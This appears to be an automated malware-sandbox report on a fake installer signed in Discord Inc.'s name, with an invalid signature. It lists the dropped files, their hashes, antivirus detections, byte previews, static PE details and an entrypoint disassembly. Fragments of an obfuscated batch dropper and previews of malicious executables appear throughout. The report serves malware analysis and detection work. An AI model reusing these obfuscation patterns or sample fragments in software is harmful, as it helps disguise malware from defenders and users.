......................z.......................{........................\|_...............................................D_..................{..............................................y..............................z................................................'...............................................".............,-.................................0...............!EEEEEK..wEEEEEEEEEEEEEEEEEEEx..4................u.......=..................>v..8...............q)....jr.s.................t....<................l.....m.nV...............o.....p................g'

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Sydney

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	7.997658527286203
Encrypted:	true
SSDEEP:	1536:o0qgid8h2dlloKLDwf0Lhthv0E0nFfaTCsyICb3q9Zq1rpqyocQQ4Yn:TqZuIdUYDwKthR0nFiTnyICb3q9Z+rh5
MD5:	201EBA6BDB63DF28794E18CFAF067BB4
SHA1:	B9EAB03464C049198D3B5BC6F648F0749D83D64D
SHA-256:	7251BC25A67BFDF1C62B29F322C9B8FDD6A6E8FFB3D5415CD16032090F1E96FE
SHA-512:	9DEDB0C51D3EBFB33643BBE994AB433FC73F3097FC51B7F4BCEFF8F1F8FC7D0766123526EACE6CC248FA191B4DBDBA2BF567621B55C3F5356E8D44A53C8B9542
Malicious:	false
Preview:	....DU..w/r..]z..!e.......dE.".v8....ut...w.6:.tHnL;.....AH..^.-..CBL.V.[z.R}om...( ..Q$\+...u+e.(.a...o.h.\|.}.I./W.5 ...1.Q3...."].jZ..k...3Z. ....E.3.3..M..Q.q.%....g$`..7+;O.hh.."q{SL...H.'.........TY$p=...\...Ey~.......#.;.1.(:pa..=..C.m.....uo.....:3.UR...QM..4..Hm6.#.#:.@x...fU..0.C.....p......<rb.9.l..9y.;.(.z........qYW..W..~....a.,...<2..f..D._..).......b.....>..<...w.0w.`....Z/u...O..`c..W.K.g..`.N.s1t..........~.T:..c.;.4..\|......f..w.......Q.._.GC....>:..o...za9....K......v.K.X..4VK-..o.(I.."..DA....T....q!..I<...J.e...Q.........5..v.4-.[.1.~.....Gl.bD.&/'.....&..2..oJ.ef;.D.Y.0k}...\.k........n.....\;L.!'^....Ka....D.'.{=Z.+!...5G!".i.x=...LN..........).:..f...\|..7.i...W.EM.0.._)...4mt..+vuV3Se.ENL..w...k.%...{R......1..d6+W....(.y...L.X,...&..TP....w[...."..@....!.Z...=..k.Z.<c..x.. .t...t...L.6.2.p../...&..=.D..qt0...w......u....j.U.eh.E...V+}.4.....v.m..B..g..XT.%..?.......8)x. ...\q..q...q..K ....9....P.U(m...;.4..k....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Undertaken

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	ASCII text, with very long lines (611), with CRLF line terminators
Category:	dropped
Size (bytes):	16460
Entropy (8bit):	5.170297086752716
Encrypted:	false
SSDEEP:	384:UVZx3Bn/izJC55ZR2r/CJNnoLBDkhgKOce970CWK8C9:EdBnKzJerJNnoLBkhDX29
MD5:	C94F8CA767A2FAAFF1F7598D99A4451F
SHA1:	809B917F4081943724E63A27F5650A4216C307C2
SHA-256:	6718E0BBF094079D1575F3677F25D1AC7B3F08844597418F0DF787E6EE546D59
SHA-512:	936A22B55C4FD5212E815F2B0D9F8FDD0212E03FE96CA6F785E549D0AB46DB7A22E9568B74F54D243C78884B7D5E6E8FFB3036517CDD35FA17E6A7778E485AFB
Malicious:	false
Preview:	Set Fast=f..ifrBuried-Contractor-Emissions-..FQCrossword-Heated-Showtimes-..SnEuExotic-Gets-Sbjct-Communication-Gem-..wXWHispanic-Allowance-Speed-Reliance-..gwNtBookstore-Hb-..UREvent-Furniture-Assignments-Legends-Stuff-..BlrNTables-Stories-Ncaa-Cod-Fewer-..pcjPlayer-Bracelet-Itunes-Small-..Set Enter=K..kFPediatric-Upskirt-Contractors-Beautiful-..RGEarthquake-Dat-Albania-Ser-Tourism-Car-Land-Spa-Yeast-..lSArchive-Skills-Gay-Hat-Pre-Toolkit-Cms-..KDhWOurselves-Navy-Figured-Problems-Hindu-..JpExplaining-..avMlPhp-Asthma-..MHBudgets-So-Polar-Filed-Unauthorized-Indeed-..DISubsequent-Garcia-Law-Tobago-Kerry-Enb-Pubmed-..Set Penalties=Y..oxbBTourism-Fighters-Comply-Waiver-Technique-Immediate-Hood-Drawings-Katie-..fohBLogging-Vbulletin-Discussed-Existing-Puts-Fighting-Discovery-Dozen-..bbvnArchitects-Ask-Activities-Too-..jATPasswords-Hwy-Swedish-Sbjct-..mqQvArticles-Governing-Cooking-C-..QFAuthorized-Corpus-Lit-Immigration-Acquired-Wages-..vRfhDurham-Ft-Pc-Mathematics-Oem-Tension-Sponsors-..a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Undertaken.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (611), with CRLF line terminators
Category:	dropped
Size (bytes):	16460
Entropy (8bit):	5.170297086752716
Encrypted:	false
SSDEEP:	384:UVZx3Bn/izJC55ZR2r/CJNnoLBDkhgKOce970CWK8C9:EdBnKzJerJNnoLBkhDX29
MD5:	C94F8CA767A2FAAFF1F7598D99A4451F
SHA1:	809B917F4081943724E63A27F5650A4216C307C2
SHA-256:	6718E0BBF094079D1575F3677F25D1AC7B3F08844597418F0DF787E6EE546D59
SHA-512:	936A22B55C4FD5212E815F2B0D9F8FDD0212E03FE96CA6F785E549D0AB46DB7A22E9568B74F54D243C78884B7D5E6E8FFB3036517CDD35FA17E6A7778E485AFB
Malicious:	false
Preview:	Set Fast=f..ifrBuried-Contractor-Emissions-..FQCrossword-Heated-Showtimes-..SnEuExotic-Gets-Sbjct-Communication-Gem-..wXWHispanic-Allowance-Speed-Reliance-..gwNtBookstore-Hb-..UREvent-Furniture-Assignments-Legends-Stuff-..BlrNTables-Stories-Ncaa-Cod-Fewer-..pcjPlayer-Bracelet-Itunes-Small-..Set Enter=K..kFPediatric-Upskirt-Contractors-Beautiful-..RGEarthquake-Dat-Albania-Ser-Tourism-Car-Land-Spa-Yeast-..lSArchive-Skills-Gay-Hat-Pre-Toolkit-Cms-..KDhWOurselves-Navy-Figured-Problems-Hindu-..JpExplaining-..avMlPhp-Asthma-..MHBudgets-So-Polar-Filed-Unauthorized-Indeed-..DISubsequent-Garcia-Law-Tobago-Kerry-Enb-Pubmed-..Set Penalties=Y..oxbBTourism-Fighters-Comply-Waiver-Technique-Immediate-Hood-Drawings-Katie-..fohBLogging-Vbulletin-Discussed-Existing-Puts-Fighting-Discovery-Dozen-..bbvnArchitects-Ask-Activities-Too-..jATPasswords-Hwy-Swedish-Sbjct-..mqQvArticles-Governing-Cooking-C-..QFAuthorized-Corpus-Lit-Immigration-Acquired-Wages-..vRfhDurham-Ft-Pc-Mathematics-Oem-Tension-Sponsors-..a

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul9kLZ:NllUG
MD5:	087D847469EB88D02E57100D76A2E8E4
SHA1:	A2B15CEC90C75870FDAE3FEFD9878DD172319474
SHA-256:	81EB9A97215EB41752F6F4189343E81A0D5D7332E1646A24750D2E08B4CAE013
SHA-512:	4682F4457C1136F84C10ACFE3BD114ACF3CCDECC1BDECC340A5A36624D93A4CB3D262B3A6DD3523C31E57C969F04903AB86BE3A2C6B07193BF08C00962B33727
Malicious:	false
Preview:	@...e.................................,..............@..........

C:\Users\user\AppData\Local\Temp\5b6db61c

Download File

Process:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
File Type:	PNG image data, 3792 x 2093, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	6447207
Entropy (8bit):	7.998441497232368
Encrypted:	true
SSDEEP:	196608:sXKjzP/kSY5cPYsvASGkG9166F/KHaj2M:sXKjrMSY5yPoxv/XL
MD5:	B0CB3F07919BEB69B342ED871C6511A9
SHA1:	C23C0B4F9810D50ECB9EA186F57325C7B41DEEBE
SHA-256:	AB4A4A40AA1C1129150AE38AA4F939EB22B4125F6BE8F12251D7C76239B3F8F3
SHA-512:	75BD57701CAC2BE23A9A63AE414F0E019D7C69523F93B3CE6D908B76CC382D84AB1F1C2B085633D39A8E7294C1879601A1A3B03C5871BA0E35A345F559E06AA4
Malicious:	false
Preview:	.PNG........IHDR.......-.....1S.... .IDATx..;..G....+.U={.. .....H.$..gm........1c...&.r....wm..=...-F...W....ft...Y.........~.3+.....\|....?@@...o......\.._@...c....0.e..o..us).-.9~.4..:.H]..R.#M.K.!...#.s...4..G.c.#Zk.#B.s...p......R...PU....HUU..RJ.......^...Ru]..n...&w.R.WeE.DH.kB...)....!.....cRI.....d.u.....W..j..xw... .e,.....lC`....o=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@@..a/.?.[ 8.K\|......H..X..T...4.{..c..4..!.^...}X~7.'......uc.$H................\|.{5...Q...,..{..p..]v{....m.]).....[-.{..... !l......V..W k....u....g...$....[%>^.oI.\|.......$.......$.g.@...m.hI~S;.).=...K%..H.T..d"....W.O.J.A..../%..@..J..-...ZW........oz....b.....B..x.1......>q.....[..I>..l...t..I..I..n....s....P..p...C..3..\|.(..<..3r.F7d.#..;..".p..dg.p.#4Mm........}.....A.......

C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe

Download File

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8767044
Entropy (8bit):	7.960152326344281
Encrypted:	false
SSDEEP:	196608:r7B6e1u5SqD6mOefSP01pbtDgGFN6sskirwDODi:roweOFCS8jbtM8N6sjYY
MD5:	51F99EDDD33CC04FB0F55F873B76D907
SHA1:	60CD79359912A9069674CEE3C5C5982A9B01CE82
SHA-256:	16E037D7B5F6A8E02B73671E1214B7979EB5D0AB0FC1106CF4C321F0FF53E13A
SHA-512:	7D2DF781963C8AC8A6F2A86EB95742AA26C932671D31DF8F09E334B2AF5E543EC3FB636ABFA4FB2512EC70126E1B9DB6DC7E9446A2A85BCA53EAFC790668964A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.......................................@......@...................p..q....P.......................~..XG...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gic0okyn.z5a.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgci1i3y.cnn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tdfk0mhz.d31.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wgfwodbe.bvz.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-E6KS7.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-E6KS7.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-NIMP8.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-NIMP8.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\is-U83DO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.971645098799554
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	installer_1.05_36.7.exe
File size:	1'139'689 bytes
MD5:	5cca6a6746a3f3efc901b3eaa503f2e6
SHA1:	413e1738bad7dfb582bf325e99b77de497134d78
SHA256:	02a0853cbed6c7c556e4f9a62195568f2594cc3a5ef365214bc9289632b1cd51
SHA512:	c29c0346167fbb8bc641c717dfbab38e0ed4263d085dfd83b50c557df2b7b3dd00a94097fb949046216c27df3732a126ee11b886c64c165afcbe327b1fc510d0
SSDEEP:	24576:tWHjlwZHgyeGKkTKZpbY+h7OhLC17zSIMFRBkPmrpyVY5N:clwRcQ05pt17zSIsE8pyVY5N
TLSH:	5D352351D53480BAE99B07316AA8807D4EF6EF250C70C4DB9BC1DAAD68F078076BD35E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X\|.N.................n.......B...8.....

File Icon


Icon Hash:	26dc18d8f2f2a6f3

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4E807C58 [Mon Sep 26 13:21:28 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/09/2024 01:00:00 25/09/2027 00:59:59
Subject Chain	CN=Discord Inc., O=Discord Inc., L=San Francisco, S=California, C=US, SERIALNUMBER=5128862, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.2=Delaware, OID.1.3.6.1.4.1.311.60.2.1.3=US
Version:	3
Thumbprint MD5:	5D2A3557A29B3D769CD29535A5E3D35D
Thumbprint SHA-1:	6C7552617E892DFCA5CEB96FA2870F4F1904820E
Thumbprint SHA-256:	77E85A01A656323340749C2D61FA129C86DA12533CAC6A4FCF2C81C9D8D63A40
Serial:	0DE9CF2E718364A0062E0D83093E34D7

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F77F87AD0DBh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F77F87ACDBDh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F77F87ACDABh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F77F87AA6AAh
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F77F87ACA81h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F77F87AA733h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F77F87AA6AAh
add esi, 02h
